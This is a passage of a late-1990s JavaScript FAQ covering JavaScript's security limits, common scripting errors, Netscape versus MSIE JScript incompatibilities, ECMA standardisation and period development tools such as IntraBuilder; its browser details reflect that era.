<p style="text-align: justify;"><strong><span style="text-decoration: underline;"><span style="font-size: 16pt; mso-bidi-font-size: 7.5pt;">Troubleshooting</span></span></strong><span style="text-decoration: underline;"></span></p>
<h3><a name="FAQ5_1"></a>1. What <em>can't</em> JavaScript do?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Q</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">uite a bit. Primarily for security reasons, client-side scripting languages like JavaScript cannot:</span></p>
<ul type="square">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo8; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">read or write random text files on the local disk or on the server </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo8; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">invoke automatic printing of the current document </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo8; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">control browser e-mail, news reader, or bookmark windows and menus </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo8; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">access or modify browser preferences settings </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo8; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">capture a visitor's e-mail address or IP address </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo8; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">quietly send me an e-mail when a visitor loads my page </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo8; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">launch client processes (e.g.,Unix sendmail,Win apps,Mac scripts) </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo8; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">capture individual keystrokes </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo8; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">change a document's background .gif after the page has loaded </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo8; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">change the current browser window size, location, or options </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo8; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">get rid of that dumb "JavaScript Alert:" line in alert dialogs </span></li>
</ul>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Many of these items <em>are</em> possible in Netscape Communicator 4.0, which features the enhanced (and proprietary) version 1.2 of JavaScript. Moreover, those items perceived to be security risks (e.g., access browser settings) require "signed JavaScript."</span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">MSIE JScript v2 (more below) can read/write local files via <strong>ActiveX</strong> - a source of that architecture's widely publicized security pitfalls.</span></p>
<p style="text-align: right;" align="right"><a name="FAQ5_2"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>2. Where can scripts go wrong?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">T</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">here are three distinct areas where errors can occur in any computer program:</span></p>
<ul type="disc">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l2 level1 lfo9; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Load-time errors </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l2 level1 lfo9; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Run-time errors </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l2 level1 lfo9; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Logic errors </span></li>
</ul>
<p><strong><span style="text-decoration: underline;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Load-time errors</span></span></strong><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"><br />
Your script is part of a web page. When someone browses (i.e., requests) that page, your server returns it over the network. On receiving it the requesting browser <strong><em>loads</em></strong> your page: HTML, JavaScript, and any other objects it contains. </span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Load-time errors are caught by the JavaScript interpreter. As the browser loads your script, it performs myriad checks for basic language problems -- usually syntax errors. If, for instance, you leave off the closing half of a pair of parentheses, the interpreter will tell you about it in the form of a load-time error. Why? Because a script can't run until it has loaded successfully.</span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">By checking your scripts in two browsers -- Netscape Navigator 3.0 (or later) and Microsoft Internet Explorer 3.0 (or later) -- you leverage the language-checking abilities of JavaScript itself to detect load-time errors.</span></p>
<p><strong><span style="text-decoration: underline;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Run-time errors</span></span></strong><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"><br />
If your script loads, it will run. It may perform exactly as you designed it to, or it may crash and burn. Like load-time errors, problems at run-time are detected and reported by the <strong>JavaScript interpreter</strong>. In effect, it says (very quietly): "I loaded that nice-looking script and now it's breaking the rules, corrupting memory and whatnot. I'd better tell somebody." Up pops an alert window to apprise you of the run-time error.</span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">When a program is running it manipulates stored data, operating on values in memory as specified by program commands. Thus, whereas errors occur at load time chiefly due to bad syntax, run-time errors are often due to <strong>misuse of the language's commands</strong>.</span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">For instance, you'll get a run-time error if at some point your script divides by zero (illegal in any language). </span></p>
<p><strong><span style="text-decoration: underline;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Logic errors</span></span></strong><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"><br />
These are the bad guys, problems worthy of the epithet "bugs." Errors loading or running your script are caught by the machine; errors in the logic of you program can only be caught by you or your users -- in other words, humans. When your script runs without complaining but ends up doing the wrong thing, you've got a logic error.</span></p>
<p><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">The best way to verify your program logically is to <strong>stress it</strong>. You probably won't be able to exercise all the possible inputs, outputs, if-then statements and loops, but by hitting a few major ones, you gain confidence that any errors are at least well hidden. If and when these occur, of course, they may be equally hard to trace. But that's software for you.</span></p>
<p style="text-align: right;" align="right"><a name="FAQ5_3"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>3. What are the most common scripting mistakes?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">I</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">n his excellent <em>JavaScript Sourcebook</em>, in a section that begins, "We're only human, after all, and making mistakes is part of our nature," Gordon McComb identifies eleven common JavaScript gaffs:</span></p>
<ul type="disc">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l5 level1 lfo10; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Omitting quotation marks in Strings </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l5 level1 lfo10; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Mismatched quotation mark types (' and ") </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l5 level1 lfo10; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Omitting quotation marks when comparing strings </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l5 level1 lfo10; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Confusing '=' (assign) and '==' (compare) </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l5 level1 lfo10; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Improperly nested blocks in IF-THEN-ELSE statements </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l5 level1 lfo10; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Trying to write to the script document </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l5 level1 lfo10; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Trying to access forms as a property of a window rather than a document </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l5 level1 lfo10; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Using String methods with the wrong objects </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l5 level1 lfo10; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Endless loops lock up the browser </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l5 level1 lfo10; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Missing or mismatched '{' or '}' around blocks </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l5 level1 lfo10; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Omitting the return() statement in a function </span></li>
</ul>
<p style="text-align: right;" align="right"><a name="FAQ5_4"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>4. Why won't my script work ...</h3>
<ol type="a">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l3 level1 lfo11; tab-stops: list .5in;"><strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">... inside a table?</span></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></li>
</ol>
<p style="margin-left: 0.5in; text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">T</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">here is a long-standing bug in JavaScript concerning tables. To be safe, Do <span style="text-decoration: underline;">not</span> place </span><code><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">&lt;SCRIPT&gt;</span></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> tags inside </span><code><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">&lt;TD&gt;</span></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> tags. Instead, start the </span><code><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">&lt;SCRIPT&gt;</span></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> tag before the </span><code><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">&lt;TD&gt;</span></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> tag, and </span><code><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">document.write()</span></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> the </span><code><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">&lt;TD&gt;</span></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> tag through the </span><code><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">&lt;/TD&gt;</span></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> tag. If you're a belt-and-suspenders kind of guy, you can go a step further by using </span><code><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">document.write()</span></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> to create the entire table , interlacing script statements where needed.</span></p>
<ol type="a">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l3 level1 lfo11; tab-stops: list .5in;"><strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">... under MS Internet Explorer 3 for the Mac?</span></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></li>
</ol>
<p style="margin-left: 0.5in; text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">J</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Script is available on the Macintosh starting with 3.0.1 (which is different from the Windows 3.01). I am still evaluating the Mac implementation, whose object model and other support for JavaScript does not necessarily jive with the Windows version (e.g., the Mac version supports the Image object for mouse rollovers). MSIE 3.0.1 runs on Mac 68K and PPC. Download it from: <a href="http://www.microsoft.com/msdownload/ieplatform/iemac.htm"><span style="color: #0000ff;">http://www.microsoft.com/msdownload/ieplatform/iemac.ht m</span></a></span></p>
<ol type="a">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l3 level1 lfo11; tab-stops: list .5in;"><strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">... under MSIE 3 for Windows 95?</span></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></li>
</ol>
<p style="margin-left: 0.5in; text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">M</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">ost language features and objects that are new in Navigator 3.0 are not supported in MSIE 3.0, although several Navigator 3.0 items have been added to JScript version 2 (see below).</span></p>
<ol type="a">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l3 level1 lfo11; tab-stops: list .5in;"><strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">... when I use document.cookie with MSIE?</span></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></li>
</ol>
<p style="margin-left: 0.5in; text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">I</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">t does work, but not when you access the HTML file from your local hard disk, as you are probably doing during testing. Be aware, however, that MSIE limits you to one cookie </span><code><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">name=value</span></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> pair per domain, whereas Netscape allows up to 20 pairs per domain.</span></p>
<p style="text-align: right;" align="right"><a name="FAQ5_5"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>5. Jscript Issues</h3>
<h4><span class="dc1"><span style="font-family: Arial;">W</span></span><span style="font-family: Arial;">hat's new in Microsoft JScript version 2.x and 3.x?</span></h4>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">More than can fit here. Some items are compatible with Navigator 3.0+ (such as the Array object). Others are unique to MSIE, such as the Dictionary and TextStream objects (accessible via ActiveX). Additions are to the <strong>core language</strong>, not the document object model. </span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">New functions let you determine the JScript version installed in IE, but JScript version 2 must be installed to get this data. If you use version 2 or 3.x language features, see <a href="http://msdn.microsoft.com/scripting/default.htm" target="_blank"><span style="color: #0000ff;">www.microsoft.com/JScript</span></a> for info about including a link button on your page to encourage visitors to upgrade their IE 3.0x to JScript version 2.</span></p>
<h4><span class="dc1"><span style="font-family: Arial;">H</span></span><span style="font-family: Arial;">ow do I know if I have JScript version 2 installed?</span></h4>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Installation of MSIE 3.02 does not guarantee JScript version 2. Search your disk for 'jscript.dll'. Get the file's properties, and click on the Version tab. The File version should begin with '2'. If not, download the latest version from Microsoft (installer is 442KB).</span></p>
<h4><span class="dc1"><span style="font-family: Arial;">W</span></span><span style="font-family: Arial;">hat parts of the JavaScript object model are unsupported in MSIE?</span></h4>
<div>
<table style="width: 85%; mso-cellspacing: 1.5pt;" border="0" cellpadding="0" width="85%">
<tbody>
<tr>
<td style="padding: 0.75pt;"><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">UNSUPPORTED OBJECTS </span><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">Image -- this means no onMouseOver swappable images in MSIE 3</span></p>
<p><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">Area -- no onMouseOvers</span></p>
<p><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">Applet</span></p>
<p><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">FileUpload</span></p>
<p><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">*Array -- hard-wired (JS1.0) arrays OK; implemented in JScript v.2.</span></p>
<p><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">MimeType</span></p>
<p><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">Plugin</span></td>
</tr>
</tbody>
</table>
</div>
<p style="text-align: justify;"><strong><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;">What properties/methods/event handlers are unsupported in MSIE?</span></strong></p>
<div>
<table style="width: 75%; mso-cellspacing: 1.5pt;" border="0" cellpadding="0" width="75%">
<tbody>
<tr>
<td style="padding: 0.75pt;"><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">UNSUPPORTED PROPERTIES/METHODS/EVENT HANDLERS<br />
OF SUPPORTED OBJECTS </span><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">  </span></p>
<p><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">Window </span></p>
<pre><span style="mso-spacerun: yes;">      </span>onerror<span style="mso-spacerun: yes;">  </span>closed<span style="mso-spacerun: yes;">  </span>blur()<span style="mso-spacerun: yes;">  </span>focus()<span style="mso-spacerun: yes;">  </span>scroll()<span style="mso-spacerun: yes;">  </span>onBlur=<span style="mso-spacerun: yes;">   </span>onFocus=</pre>
<p><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">Location </span></p>
<pre><span style="mso-spacerun: yes;">      </span>reload()<span style="mso-spacerun: yes;">  </span>replace()</pre>
<p><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">Document </span></p>
<pre><span style="mso-spacerun: yes;">      </span>applets[]<span style="mso-spacerun: yes;">  </span>domain<span style="mso-spacerun: yes;">  </span>embeds[]<span style="mso-spacerun: yes;">  </span>images[]<span style="mso-spacerun: yes;">  </span>URL</pre>
<p><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">Link </span></p>
<pre><span style="mso-spacerun: yes;">      </span>onMouseOut=</pre>
<p><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">Form </span></p>
<pre><span style="mso-spacerun: yes;">      </span>reset()<span style="mso-spacerun: yes;">  </span>onReset=</pre>
<p><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">All Form Elements </span></p>
<pre><span style="mso-spacerun: yes;">      </span>type</pre>
<p><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">Navigator </span></p>
<pre><span style="mso-spacerun: yes;">      </span>mimeTypes[]<span style="mso-spacerun: yes;">  </span>plugins[]<span style="mso-spacerun: yes;">  </span>javaEnabled()</pre>
<p><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">String </span></p>
<pre><span style="mso-spacerun: yes;">      </span>prototype<span style="mso-spacerun: yes;">  </span>split()</pre>
<p><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;">One more item: the </span><code><span style="font-size: 10pt; font-family: 'Courier New';">&lt;SCRIPT SRC="xxx.js"&gt;</span></code><span style="font-size: 10pt; mso-bidi-font-size: 12.0pt;"> facility for loading external JavaScript library files is available in MSIE 3.02 for Windows.</span></td>
</tr>
</tbody>
</table>
</div>
<p class="MsoNormal"> </p>
<p style="text-align: right;" align="right"><a name="FAQ5_6"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>6. Portability</h3>
<ol type="a">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l10 level1 lfo12; tab-stops: list .5in;"><strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Anyone have a comparison of MS JScript versus Netscape's JavaScript?</span></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></li>
</ol>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Mark Stone wrote the book on it:<br />
<a href="http://www.kudonet.com/~markst/jscript/jsdiff.htm"><span style="color: #0000ff;">http://www.kudonet.com/~markst/jscript/jsdiff.htm</span></a> </span></p>
<ol type="a">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l10 level1 lfo12; tab-stops: list .5in;"><strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">I thought JavaScript was turned over to the IETF for some sort of standardization. What's happening with this?</span></strong><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></li>
</ol>
<p style="margin-left: 0.5in; text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Actually it was "turned over" to ECMA, the European Computing Machine Association. They appear to be go-slow, secretive types. It remains to be seen whether this is a <a href="http://www.intranetjournal.com/browsers/8.html"><span style="color: #0000ff;">serious standardization effort</span></a>, or a marketing ruse by Netscape to match Microsoft's dubious "turning over" of ActiveX to the X/Open Group. </span></p>
<p style="text-align: right;" align="right"><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<p class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><strong><span style="text-decoration: underline;"><span style="font-size: 16pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Programming Tools</span></span></strong><span style="text-decoration: underline;"><span style="font-size: 16pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></span></p>
<h3><a name="FAQ6_1"></a>1. What is NetObjects ScriptBuilder<sup><span style="font-size: 10pt;">TM</span></sup>?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">A</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> scripting development aid from NetObjects, Inc. In addition to JavaScript, ScriptBuilder facilitates code writing in VBScript, LotusScript and Microsoft ASP. <a href="http://www.intranetjournal.com/reviews/scriptbuilder2.shtml"><span style="color: #0000ff;">Reviewed</span></a> by IDM in June 1998. </span></p>
<p style="text-align: right;" align="right"><a name="FAQ6_2"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>2. What is Borland IntraBuilder<sup><span style="font-size: 10pt;">TM</span></sup>?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">I</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">ntraBuilder is a <strong>web application development tool</strong> from Inprise Corporation (formerly Borland International) that makes heavy use of JavaScript. Together with companion products C++Builder and JBuilder, IntraBuilder is part of the product line that implements Inprise's "Golden Gate" strategy for web-based client/server development. </span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Each product in this line targets three developer levels with <strong>Standard, Professional and Client/Server editions</strong>, corresponding respectively to low ($99), medium ($499)</span><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"> </span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">and high</span><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"> </span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">($1999) price points. The increments buy enhanced database connectivity and features for managing team development.</span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">IntraBuilder consists of <strong>two primary components</strong>:</span></p>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span style="text-decoration: underline;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">IntraBuilder Designer</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">, a visual RAD environment for JavaScript that creates Forms -- used for entering, displaying and manipulating data; and Reports -- used for displaying data in a list format that can include groupings and aggregate functions, such as totals or averages. Significantly for readers of this FAQ, IntraBuilder provides wizards that coach the developer through web page specification, then <strong>automatically generates standard JavaScript</strong>, including form elements and data validation routines. </span></p>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span style="text-decoration: underline;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">IntraBuilder Server</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">, which extends basic web server functionality to deliver data-driven pages. IntraBuilder Server uses three primary architectural components (diagrammed below): IntraBuilder Broker, IntraBuilder Agents, and the Borland Database Engine (BDE). </span></p>
<p style="margin-left: 0.5in; margin-right: 0.5in;"> </p>
